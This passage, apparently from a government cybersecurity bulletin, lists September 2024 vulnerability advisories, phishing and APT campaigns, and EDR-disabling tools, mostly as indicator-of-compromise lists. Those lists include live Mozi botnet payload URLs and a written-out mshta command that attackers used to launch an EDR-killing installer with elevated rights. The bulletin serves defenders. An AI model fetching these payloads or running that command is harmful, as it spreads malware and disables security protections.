* Modular architecture and customizable
* Stealth techniques to avoid detection by security software

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Address:**

111.38.218.247

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-09-25-006**

**Vulnerability in Cellopoint**

A buffer overflow vulnerability has been discovered in Cellopoint Secure Email Gateway. The affected versions are Secure Email Gateway from version 4.2.1 to 4.5.0.

CVE ID: CVE-2024-9043 (Critical)

**Security Updates for WordPress Plugin**

WordPress has released security updates to resolve a privilege escalation vulnerability in the Webo-facto plugin for WordPress. The affected versions are Webo-facto plugin for WordPress up to and including, 1.40.

CVE ID: CVE-2024-8853 (Critical)

**Vulnerability in Thinkphp**

A deserialization vulnerability has been discovered in Thinkphp that allows attackers to execute arbitrary code. The affected versions are Thinkphp v6.1.3 to v8.0.4.

CVE ID: CVE-2024-44902 (Critical)

**VMware Security Updates**

VMware has released security updates to address heap-overflow and privilege escalation vulnerabilities in VMware vCenter Server and VMware Cloud Foundation. The affected versions are VMware vCenter Server 8.0 & 7.0 and VMware Cloud Foundation 5.x & 4.x.

CVE ID: CVE-2024-38812 (Critical), CVE-2024-38813 (High)

**Vulnerability in Tenda**

A stack overflow vulnerability has been discovered in Tenda. The affected version is Tenda O6 V3.0 firmware V1.0.0.7(2054).

CVE ID: CVE-2024-46049 (Critical)

**Vulnerability in Tenda**

A command injection vulnerability has been discovered in Tenda. The affected version is Tenda FH451 v1.0.0.9.

CVE ID: CVE-2024-46048 (Critical)

**Vulnerability in NitroPack**

A code injection vulnerability has been discovered in NitroPack. The affected versions are NitroPack: from n/a through 1.16.7.

CVE ID: CVE-2024-43922 (Critical)

**Vulnerability in OpenPLC**

A stack-based buffer overflow vulnerability has been discovered in the OpenPLC Runtime EtherNet/IP parser functionality of OpenPLC. The affected version is OpenPLC \_v3 b4702061dc14d1024856f71b4543298d77007b88.

CVE ID: CVE-2024-34026 (Critical)

1. **TA-PHI-2024-09-24-012**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The email contains a HTML frame with headline "Login to view Details". Upon clicking, the hyperlink it opens a phishing page in which the email ID of the target is auto-filled and it asks for password of the emaill ID. This URL is detected by the Firefox and chrome browser as dangerous site.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URL:-**

https://warazisido.com/wp-index.html?mea#dasst.abudhabi@mea.gov.in

**Domains:-**

warazisido.com

OkAbeIntl.gr.jp

**IPs:-**

162.43.105.75

118.27.125.193

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2024-09-27-009**

APT36, also known as Transparent Tribe, is using CrimsonRAT (Remote Access Trojan) malware to compromise systems. The malware allows remote control of infected systems, steal sensitive information, log keystrokes, capture screenshots and exfiltrate data.

**Common Features of APT36 Threat Actor:**

* Spear-Phishing (highly targeted and convincing phishing emails to trick victims)
* Information Theft (documents, credentials, and personal data)
* Remote Access
* Credential Harvesting
* Data Exfiltration
* Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Address:**

165.140.85.87

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-27-022**

It has been observed that an unconventional malware technique has been used by threat actors, in which malware exfiltrates documents from the victim's machine to a Google user account through its Application Programming Interface (API).

Adversaries are sending emails containing malicious links. These links download malware which is disguised as legitimate documents. Upon execution, the malware establishes persistence and starts exfiltrating the documents. Typically, data is exfiltrated to an attacker-controlled Command and Control (C2) IP or domain. The malware utilized the Google User account API to evade detection in network traffic and circumvent conventional defenses. The following domains can be detected in network traffic:

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

38.180.191.134

**Domain:**

oauth2.googleapis.com

apps.googleusercontent.com

googleapis.com

googleusercontent.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-27-024**

It has been observed that Interactsh is an open-source tool that functions on a server-client model, allowing users to detect blind Out-of-Band (OoB) vulnerabilities that traditional testing methods may overlook. It detects out-of-band interactions by generating dynamic URLs. When these URLs are accessed by the target, adversaries trigger a callback. This callback can then be used to identify potential vulnerabilities.

The Interactsh tool was designed for use by Red Teams during penetration testing. However, it has now gained popularity among adversaries as well. Interactsh can be integrated with OWASP ZAP through the OAST add-on.

Adversaries are utilizing a range of third-party open-source tools to test their exploits. This trend complicates the task for defenders, making it difficult to effectively block such traffic based solely on services, IP addresses, or servers.

**Features of Interactsh:**

• DNS/HTTP(S)/SMTP(S)/LDAP Interaction

• CLI / Web / Burp / ZAP / Docker client

• AES encryption with zero logging

• Automatic ACME based Wildcard TLS w/ Auto Renewal

• DNS Entries for Cloud Metadata service

• Dynamic HTTP Response control

• Self-Hosted Interactsh Server

• Multiple domain support (self-hosted)

• NTLM/SMB/FTP(S)/RESPONDER Listener (self-hosted)

• Wildcard / Protected Interactions (self-hosted)

• Customizable Index / File hosting (self-hosted)

• Customizable Payload Length (self-hosted)

• Custom SSL Certificate (self-hosted)

1. **TA-MAW-2024-09-27-023**

It has been observed that threat actors are deploying various tools and techniques to disable Endpoint Detection and Response (EDR) systems. Adversaries use legitimate system tools and commands to disable security features, as well as custom tools designed to bypass or disable security solutions. Some of the notable custom tools and malware utilized by threat actors include:

1. HRSword, commonly known as "Tinder Sword," is a standalone security analysis tool designed for comprehensive system monitoring and analysis, including process management and network oversight. However, threat actors have been seen exploiting this utility to disable and bypass legitimate EDR protections on targeted systems.
2. The EDR Silencer tool utilizes the Windows Filtering Platform (WFP) to prevent Endpoint Detection and Response (EDR) agents from reporting security events to their servers.
3. EDRSandBlast is an open-source tool that bypasses EDR systems by exploiting vulnerable signed drivers.
4. AuKill, EDRKillShifter, and Terminator (Spyboy) tools which utilize the "Bring Your Own Vulnerable Driver" (BYOVD) approach, where legitimate but outdated drivers are exploited to disable EDR functions, blocking detection and response capabilities, typically through varying system processes.

These tools are evolving, demonstrating capabilities like dynamic driver loading, memory-only execution, and disabling user land/kernel-level security mechanisms.

Before executing HRSword, the adversary initiates persistence and evasion tactics by deploying a malicious executable called "killer.exe." This action successfully terminates security-related processes on the host and Cisco Secure Endpoint (CSE), including "cscm.exe" for management and policy enforcement, "sfc.exe" as the endpoint connector, and "osqueryd.exe" for querying system configurations and activities. This triggers an initial but unsuccessful attempt to uninstall CSE. Prior to the CSE agent going offline on the Exchange host, the adversary establishes a new service named "CiscoSFC" and creates a scheduled task for persistent access called "RunCiscoSFC," successfully executing "killer.exe."

Service Installation: CiscoSFC - ServiceFileName: "C:\Program Files (x86)\Cisco\8.2.4.30130\sfc.exe" -c "C:\Program Files (x86)\Cisco\8.2.4.30130\sfc.toml"

Task Created - Name: \RunCiscoSFC UserContext: Administrator

C:/Users/Administrator/Documents/killer.exe

Adversary have utilized the Windows native binary "mshta.exe" to elevate privileges and execute a batch file, which enabled the installation and execution of HRSword with the following command:

mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c C:\Users\Administrator\Downloads\h\h\HRSword Install.bat ::","","runas",1)(window.close)

C:/Users/Administrator/Downloads/h/h/HRSword.exe

C:/Users/Administrator/Documents/sysdiag-all-x64-6.0.1.3-2024.08.06.1.exe

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes (SHA256):-**

6ce228240458563d73c1c3cbbd04ef15cb7c5badacc78ce331848f5431b406cc

Ce7e4f57d738e91311d0dd3a8b8d8dcb1374ee9ae7da57d14a47e1d2432a5b3f

D56dadfbec13d362da8bb50663129001df6ccf3270083d4a3513013c97d62529

7daa4cf86ee733c0dc478c8426ec744180dbdb74ca070a1ff04bf5aa058e48dd

Df33ad03fc7dfb1c3f5fea50f6c7e7849475b02513fb8b14e64485b341936e08

90040340ee101cac7831d7035230ac8ad4224d432e5636f34f13aa1c4a0c2041

953842b734ab726b2833aae9fb320d68b31c3ad3f70b451ac4452082f4e779ca

14d2fff6444ca1b38d0c51c1f5dafef7664b07c9e0b191515cff580c0da7c703

00f8d71cdcc2397c23875de02d05db869ce84dae5aaccbace809e1f6b472c1f3

d58d4c23c0a1df18db9e8064b7312866f88d69ab6c2842d5b028e3a69a5b1021

c193ffc01e631c3e76c3952c0458b1b7e098ed605866831ce09f915716e41a21

57c67af1126a5a06ea590daddc7bff86809f98e53cedb337deabf71e3ce292a4

C55ad87481603f9941a53d47a27eb9619d2445a425b4480a03cd256030315376

**URLS**

http[:]//down-tencent.huorong.cn/upgrade8/1721095305/upgrade.html

http[:]//down-tencent.huorong.cn/upgrade8/1722942353/upgrade-x64.conf

http[:]//down-tencent.huorong.cn/upgrade8/1722942353/upgrade.html

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-27-026**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**

212.102.57.16

89.248.171.23

95.214.55.43

8.213.227.121

83.222.191.62

84.19.175.184

198.57.44.52

138.199.38.132

167.160.35.195

176.102.65.28

117.245.33.63

158.220.122.177

103.199.180.146

117.194.210.215

94.102.49.206

212.102.39.69

120.85.143.178

94.134.183.51

45.88.97.242

94.102.49.123

61.152.197.48

166.0.205.64

117.251.56.151

58.84.25.20

185.198.62.96

94.102.63.27

80.76.42.88

65.254.81.162

80.255.7.121

173.211.35.109

89.208.29.230

114.34.4.112

103.192.199.244

117.251.60.105

154.47.30.163

162.245.206.244

117.222.197.178

61.152.154.48

193.111.248.148

154.216.17.169

207.244.66.24

38.202.2.208

8.220.210.24

23.82.164.115

108.59.9.254

103.14.226.142

176.97.210.238

45.66.231.148

60.49.9.93

117.245.38.154

146.70.65.147

102.129.232.144

47.236.98.199

121.206.154.39

45.230.66.153

195.252.204.111

219.157.36.59

209.38.202.206

143.198.213.43

113.221.98.110

37.120.150.89

117.217.51.62

95.181.234.10

61.3.12.181

120.85.113.180

117.252.174.154

117.248.166.186

117.216.154.247

156.146.60.133

23.83.197.215

117.193.175.241

220.158.158.34

117.243.114.239

220.158.159.245

120.85.117.65

120.85.112.169

109.248.11.184

36.138.7.119

117.243.182.93

27.43.205.81

150.246.185.107

117.251.170.227

122.188.141.104

59.95.85.110

119.179.216.25

103.208.233.167

120.148.147.199

103.208.233.221

120.61.9.143

117.248.165.235

37.120.150.188

45.230.66.140

176.149.183.71

103.199.200.128

117.254.32.156

108.62.50.52

117.242.129.213

222.138.17.75

113.236.118.78

59.93.182.180

45.115.89.100

117.221.46.87

117.253.157.168

119.185.241.155

59.183.122.47

120.86.238.68

175.107.1.11

194.63.141.37

117.212.164.64

190.60.32.138

117.251.52.238

46.183.221.196

117.195.143.112

103.203.72.206

103.200.87.136

36.91.151.2

38.132.124.10

103.247.6.39

120.86.252.6

117.193.84.60

117.208.31.70

103.197.112.252

39.81.224.20

221.15.216.136

117.253.104.114

42.4.41.54

117.198.13.153

117.205.57.96

59.184.251.244

120.86.253.55

117.204.68.17

117.195.80.155

112.94.96.33

117.211.235.201

59.183.133.118

117.248.167.56

120.86.237.19

77.239.218.68

120.85.143.254

103.208.233.11

122.194.9.248

117.217.84.201

221.202.27.46

220.158.158.188

59.97.123.34

27.43.204.226

120.85.113.125

178.72.81.72

175.107.38.171

154.72.192.130

117.198.12.244

117.195.137.255

180.252.94.137

109.194.10.77

122.97.138.0

59.182.77.139

117.248.160.191

117.203.97.228

117.248.169.33

175.107.0.18

103.247.7.146

221.234.143.242

27.43.207.146

117.217.87.169

125.44.215.48

27.43.205.46

112.94.96.148

219.156.35.35

120.61.171.45

112.94.97.63

94.232.169.108

178.72.68.138

115.51.121.43

27.43.205.24

120.85.115.142

103.199.200.223

103.200.84.71

117.248.168.242

112.94.97.208

27.122.61.177

61.3.94.5

103.200.87.158

182.112.138.146

124.94.171.237

61.0.179.176

27.43.207.111

61.1.236.107

117.217.130.197

182.119.14.26

117.222.121.218

117.222.115.125

218.78.14.251

120.85.112.150

202.168.84.149

8.222.237.160

87.120.166.40

117.248.175.33

112.248.101.18

117.216.159.213

103.200.86.150

115.59.87.251

103.15.254.69

220.158.158.16

120.61.83.79

14.154.13.135

59.99.213.80

59.95.85.219

102.33.4.201

102.33.36.134

117.195.144.73

87.121.112.42

103.245.236.146

154.216.19.57

**URLs:-**

http://117.222.197.178:49978/Mozi.a

http://117.245.33.63:59035/Mozi.m

http://103.199.180.146:58500/Mozi.m

http://117.194.210.215:34128/Mozi.m

http://117.251.60.105:35847/Mozi.m

http://23.228.72.18/

http://117.222.197.178:49978/Mozi.a

http://61.152.154.48:57525/Mozi.a

http://117.251.56.151:39038/Mozi.m

http://176.97.210.238/shk

http://193.111.248.148

http://154.216.17.169/

http://103.14.226.142/shk

http://45.66.231.148/

http://117.245.38.154:56686/Mozi.m

http://45.230.66.153:11579/Mozi.m

http://219.157.36.59:38518/Mozi.m

http://113.221.98.110:35034/Mozi.m

http://117.217.51.62:45065/Mozi.m

http://61.3.12.181:43889/Mozi.m

http://117.252.174.154:36181/Mozi.m

http://117.248.166.186:44697/Mozi.m

http://117.216.154.247:55616/Mozi.m

http://117.193.175.241:35866/Mozi.m

http://220.158.158.34:37971/Mozi.m

http://117.243.114.239:59684/Mozi.m

http://220.158.159.245:42327/Mozi.m

http://117.243.182.93:47980/Mozi.m

http://117.251.170.227:46508/Mozi.m

http://59.95.85.110:42293/Mozi.m

http://119.179.216.25:55190/Mozi.m

http://103.208.233.167:53684/Mozi.m

http://120.61.9.143:44194/Mozi.m

http://117.248.165.235:48144/Mozi.m

http://45.230.66.140:10784/Mozi.m

http://117.254.32.156:43650/Mozi.m

http://222.138.17.75:33294/Mozi.m

http://113.236.118.78:58411/Mozi.m

http://45.115.89.100:38598/Mozi.m

http://136.37.71.110:59679/Mozi.m

http://117.253.157.168:39517/Mozi.m

http://119.185.241.155:53753/Mozi.m

http://59.183.122.47:38058/Mozi.m

http://175.107.1.11:48315/Mozi.m

http://117.212.164.64:38374/Mozi.m

http://117.251.52.238:52605/Mozi.m

http://117.195.143.112:34434/Mozi.m

http://103.203.72.206:58852/Mozi.m

http://103.200.87.136:33801/Mozi.m

http://103.247.6.39:52432/Mozi.m

http://117.208.31.70:34692/Mozi.m

http://103.197.112.252:52017/Mozi.m

http://39.81.224.20:39068/Mozi.m

http://221.15.216.136:57272/Mozi.m

http://42.4.41.54:55949/Mozi.m

http://59.95.85.219:48920/Mozi.m

http://117.205.57.96:41117/Mozi.m

http://59.184.251.244:44816/Mozi.m

http://117.204.68.17:39475/Mozi.m

http://117.195.80.155:52770/Mozi.m

http://117.211.235.201:44618/Mozi.m

http://59.183.133.118:44719/Mozi.m

http://117.248.167.56:44139/Mozi.m

http://103.208.233.11:53057/Mozi.m

http://102.33.4.201:35252/Mozi.m

http://117.217.84.201:46818/Mozi.m

http://221.202.27.46:35415/Mozi.m

http://220.158.158.188:52458/Mozi.m

http://59.97.123.34:46596/Mozi.m

http://175.107.38.171:40113/Mozi.m

http://117.198.12.244:52648/Mozi.m

http://117.195.137.255:49630/Mozi.m

http://102.33.36.134:37182/Mozi.m

http://59.182.77.139:40907/Mozi.m

http://117.248.160.191:39344/Mozi.m

http://117.203.97.228:53160/Mozi.m

http://117.248.169.33:58352/Mozi.m

http://175.107.0.18:39941/Mozi.m

http://103.247.7.146:50840/Mozi.m

http://117.217.87.169:50862/Mozi.m

http://125.44.215.48:42057/Mozi.m

http://219.156.35.35:55078/Mozi.m

http://120.61.171.45:35987/Mozi.m

http://115.51.121.43:47331/Mozi.m

http://117.248.168.242:41058/Mozi.m

http://61.3.94.5:60940/Mozi.m

http://103.200.87.158:39882/Mozi.m

http://182.112.138.146:58071/Mozi.m

http://124.94.171.237:38948/Mozi.m

http://61.0.179.176:33715/Mozi.m

http://61.1.236.107:33611/Mozi.m

http://182.119.14.26:45298/Mozi.m

http://117.222.121.218:59019/Mozi.m

http://117.222.115.125:60185/Mozi.m

http://117.248.175.33:54950/Mozi.m

http://112.248.101.18:36667/Mozi.m

http://117.216.159.213:56241/Mozi.m

http://115.59.87.251:50613/Mozi.m

http://103.15.254.69:39081/Mozi.m

http://220.158.158.16:56738/Mozi.m

http://120.61.83.79:49122/Mozi.m

http://14.154.13.135:36330/Mozi.m

http://117.222.197.178:49978/Mozi.a

http://122.188.141.104:38653/Mozi.a

http://120.148.147.199:43517/Mozi.a

http://117.242.129.213:35354/Mozi.a

http://59.93.182.180:54940/Mozi.a

http://117.195.144.73:48177/Mozi.a

http://190.60.32.138:54657/Mozi.a

http://117.253.104.114:53867/Mozi.a

http://221.234.143.242:58077/Mozi.a

http://117.217.130.197:45568/Mozi.a

http://136.37.71.110:59679/Mozi.a

http://59.99.213.80:46263/Mozi.a

http://45.66.231.148/r;

http://103.14.226.142/shk

http://45.66.231.148/r

http://176.97.210.238/shk

http://bins.rootwho.su/sshdbot

http://87.121.112.42/wget.sh

http://176.97.210.238/shk%3B

http://103.245.236.146/huhu.mips

http://154.216.19.57/

http://193.111.248.148/

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **TA-PHI-2024-09-27-013**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below malicious domains which are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

a.drdo.gov.in.sci-hub.bz

rbigovsin.org

incometaxgov.info

dc.crsorgi.gov.in.inbex.site

serviceonline.bihar.gov.in.inbex.site

ladakibahin-maharashtra-gov-in.rajpuredigital.com

crsorgi.gov.in.authprint.in

dc.crsorgi.gov.in.indexcenter.online

dc.crsorgi.gov.in.web.vlecert.site

dc.crsorgi.gov.in.csccode.in

dc.crsorgi.gov.in.edistrict.site

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*